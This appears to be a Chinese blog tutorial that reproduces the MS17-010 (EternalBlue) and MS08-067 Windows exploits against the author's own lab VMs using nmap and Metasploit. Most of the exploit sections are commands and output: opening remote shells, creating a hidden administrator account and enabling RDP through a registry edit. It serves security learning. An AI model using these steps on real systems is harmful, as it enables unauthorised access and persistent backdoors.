【Kali】vmware虚拟机三种网络连接方式,ms17-010 , ms08_067的复现
kali中对windowsXP、windows 7漏洞利用使用到的工具:nmap、msfconsole。
nmap
nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。
通常我们在进行渗透测试的过程中需要对目标主机的端口开放状态进行探测,从而了解目标主机,进行对应的测试。
nmap使用示例
- nmap基本语法帮助
nmap(或nmap --help)
-
相关帮助信息解析
-p:(端口号)
-
普通扫描
nmap (ip地址)
- 指定端口扫描
nmap -p (端口) (ip地址)
- 批量端口扫描
5.1 利用","分割端口号进行批量扫描:
nmap -p 80,22,8080 (ip地址)
5.2 利用"-"分割端口号进行批量扫描:
nmap -p 80-135 (ip地址)
5.3 扫描所有端口:
nmap -p 1-65535 (ip地址)
- 指定端口类型进行扫描
端口类型:
UDP(简称U)
TCP(简称T)
-sU :扫描UDP端口
-sT :扫描TCP端口
U:后跟UDP端口号
T:后跟TCP端口号
举栗子:
nmap -sU -p U:445 192.3.142
- 根据端口的常见性进行扫描
nmap --top-ports 10 (ip地址)
- 根据端口的出现的概率(0-1)进行扫描
nmap --port-ratio 0 (ip地址)
--port-ratio 后跟概率(0-1)
nmap常用的命令讲完了,讲一下msfconsole。
msfconsole
msfconsole简称msf,是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机。
检查模块是否安装,终端输入msfconsole:
如果没有安装,使用apt命令安装:
php
apt install metasploit-framework
msf 控制台参数运用
- banner 这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
- use 这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
- Search 当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。
- show 如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。
vmware虚拟机三种网络连接方式
vmware为我们提供了三种网络工作模式,它们分别是:Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。
1.仅主机模式
用于物理机与虚拟机之间连接。xshell等工具可以连接。
虚拟机网卡只需配置IPADDR与NETMASK。
配置时点击查看虚拟网络编辑器中的仅主机模式所在网段,将虚拟机的ip设置在该网段。
举个栗子:
VMnet1里面显示的192.168.14这一段就是仅主机模式所在的网段,虚拟机的ip就可以设置为192.168.14.开头的ip,比如192.168.14.50。
2.NAT模式
可以连接外网,但不会有独立ip,使用物理机的网络。
除了IPADDR和NETMASK之外还需要配置GATEWAY与DNS。
GATEWAY网关可以点击虚拟网络编辑器中的NAT设置查看。
3.桥接模式
能够连接外网,使用单独的ip地址,网段需要与桥接连接的外部网络的网段相同。
同一网段(子网)间终端可直接通信,如终端A和终端B;不在同一网段(子网)的终端不能直接通信,需要通过网关才能通信。
复现时需要配置虚拟机网络为桥接模式。配置方法参考:
第一步 虚拟网络编辑器
第二步 更改设置
第三步 选择桥接模式
第四步 虚拟机设置
第五步 虚拟机网络配置文件
由于桥接模式使用单独的ip地址,请事先查看自己的网络环境有哪些ip已经被使用了,我的物理机ip为192.168.0.102,虚拟机win7 的ip为:192.168.0.103,配置kail的ip时避开这些个就行。
我的win7配置为:192.168.0.103,kali配置为:192.168.0.100
python
cd /etc/network
python
vim interfaces
按i编辑,在原有内容
在下方添加:
python
auto eth0
iface eth0 inet static //配置eth0使用静态地址
address 192.168.0.100 //配置eth0的固定IP地址,网段要和物理机的一样,且此IP未被使用
netmask 255.255.255.0 //配置子网掩码
gateway 192.168.0.1 //配置网关
添加完后按Esc,按冒号(:),冒号后面输入wq保存后退出。
重启network服务:
python
systemctl stop NetworkManager //NetworkManager这里注意大小写,linux是区分的。
systemctl restart networking //重启服务。
配置完成后测试kali与win能够互相ping通。win这边需要关闭防火墙,否则kali是无论如何都ping通win的,这是我踩过坑的。
kali:
win7:
虚拟机网络配置就完成了,下面正片开始。
ms17-010
提到操作系统漏洞,大家肯定听说过耳熟能详的永恒之蓝(MS17-010)了,他的爆发源于WannaCry勒索病毒的诞生。
该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞"EternalBlue"(永恒之蓝)进行传播 。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。 勒索病毒是自熊猫烧香以来影响力最大的病毒之一。
现在我们在win7虚拟机中对这个漏洞进行复现。
kali使用nmap扫描本网段中所有的主机,这个过程会需要数十秒:
php
nmap 192.168.0.0/24
我这里扫描到了192.168.0.1、192.168.0.102、192.168.0.103、192.168.0.100、192.168.0.104
的主机,靶机就是192.168.0.100,它的445端口是"open"的:
输入msfconsole
打开MSF渗透测试工具:
这样就是开启成功了:
搜索ms17_010代码,使用msf中的auxiliary模块进行扫描:
php
search ms17_010
php
msf6 > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010
使用模块 3 auxiliary/scanner/smb/smb_ms17_010 ,扫描靶机192.168.0.103
是否存在MS17-010漏洞:
php
msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.0.103:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.103:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
看到这句:Host is likely VULNERABLE to MS17-010!
主机很可能存在MS17-010!
使用永恒之蓝攻击模块 0 exploit/windows/smb/ms17_010_eternalblue
对其进行攻击:
php
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
提示攻击成功:
现在我们已经可以利用这个漏洞了,我想获取靶机shell,那么就输入:shell
php
meterpreter > shell
Process 1156 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
出现乱码,为解决乱码,将其编码设为UTF-8,只需要再输入:
php
chcp 65001 //65001为UTF-8的代码页
创建新用户:net user 1 123456 /add
php
C:\Windows\system32>net user 1 123456 /add
net user 1 123456/add
The command completed successfully.
将用户1添加至管理员:net localgroup administrators 1 /add
想要对靶机进行远程桌面连接,需要知道远程桌面默认端口号:3389有没有开启。
查看开启的端口:netstat -ano
发现3389端口并没有开启,使用命令开启:
php
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
php
C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
The operation completed successfully.
出现successfully就是成功了。端口已经开启,另起一个kali终端,输入命令:
php
rdesktop 192.168.0.103
进行远程桌面连接。
ms08_067
MS08-067漏洞全称是"Windows Server服务RPC请求缓冲区溢出漏洞",攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:
Windows 2000
Windows XP
Windows Server 2003
使用winXP进行MS08-067漏洞的复现,开始之前需要配置桥接网络,关闭winXP防火墙,确保与kali能够互相ping通。
winXP:192.168.0.104
kali:192.168.0.100
开始复现:
同ms17-010一样,使用nmap扫描网段下所有主机:
php
nmap 192.168.0.0/24
php
Nmap scan report for 192.168.0.104
Host is up (0.00056s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
5000/tcp open upnp
扫描到靶机,而且它的445端口为"open"。
进入Msfconsole并利用search语句查找漏洞利用模块。
php
search ms08-067
php
msf6 > search ms08-067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
进入漏洞模块:use 0
或者
use exploit/windows/smb/ms08_067_netapi
设置靶机ip等参数:
php
# 目标机ip
set RHOST 192.168.0.104
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.0.100
# 设置自动类型
set target 0
# 显示配置信息
show options
现在处于待触发攻击状态,输入语句exploit开始攻击:
php
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] 192.168.0.104:445 - Automatically detecting the target...
[*] 192.168.0.104:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional
[*] 192.168.0.104:445 - Selected Target: Windows XP SP0/SP1 Universal
[*] 192.168.0.104:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.0.104:4444
[*] Command shell session 1 opened (192.168.0.100:33333 -> 192.168.0.104:4444) at 2023-08-13 01:40:25 -0400
Shell Banner:
Microsoft Windows XP [_ 5.1.2600]
-----
此时我们成功获取了Windows XP系统的Shell,我们调用"ipconfig"查看的IP地址也是目标的"192.168.0.104"。
php
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter ��������:
Connection-specific DNS Suffix . : DHCP HOST
IP Address. . . . . . . . . . . . : 192.168.0.104
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
现在可以通过命令行对靶机进行创建文件夹、查看目录或者新建文件等行为。
php
C:\WINDOWS\system32>mkdir yunxi
mkdir yunxi
对目标XP主机进行深度提权:
php
# 增加用户
net user yunxi 123456 /add
# 提升用户管理员权限
net localgroup administrators yunxi /add
开启远程连接3389端口并进行远程操作:
php
# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.0.104
php
C:\WINDOWS\system32\yunxi>echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
C:\WINDOWS\system32\yunxi>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
�����ɹ�
C:\WINDOWS\system32\yunxi>netstat -an
netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5000 0.0.0.0:0 LISTENING
TCP 192.168.0.104:139 0.0.0.0:0 LISTENING
TCP 192.168.0.104:4444 192.168.0.100:33333 CLOSE_WAIT
TCP 192.168.0.104:4444 192.168.0.100:38951 CLOSE_WAIT
TCP 192.168.0.104:4444 192.168.0.100:39675 ESTABLISHED
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:1026 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1030 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.0.104:123 *:*
UDP 192.168.0.104:137 *:*
UDP 192.168.0.104:138 *:*
UDP 192.168.0.104:1900 *:*
另起一个kali终端,输入rdesktop 192.168.0.104
,输入用户名和密码(yunxi,123456)
以上就是ms08_067漏洞的复现与利用。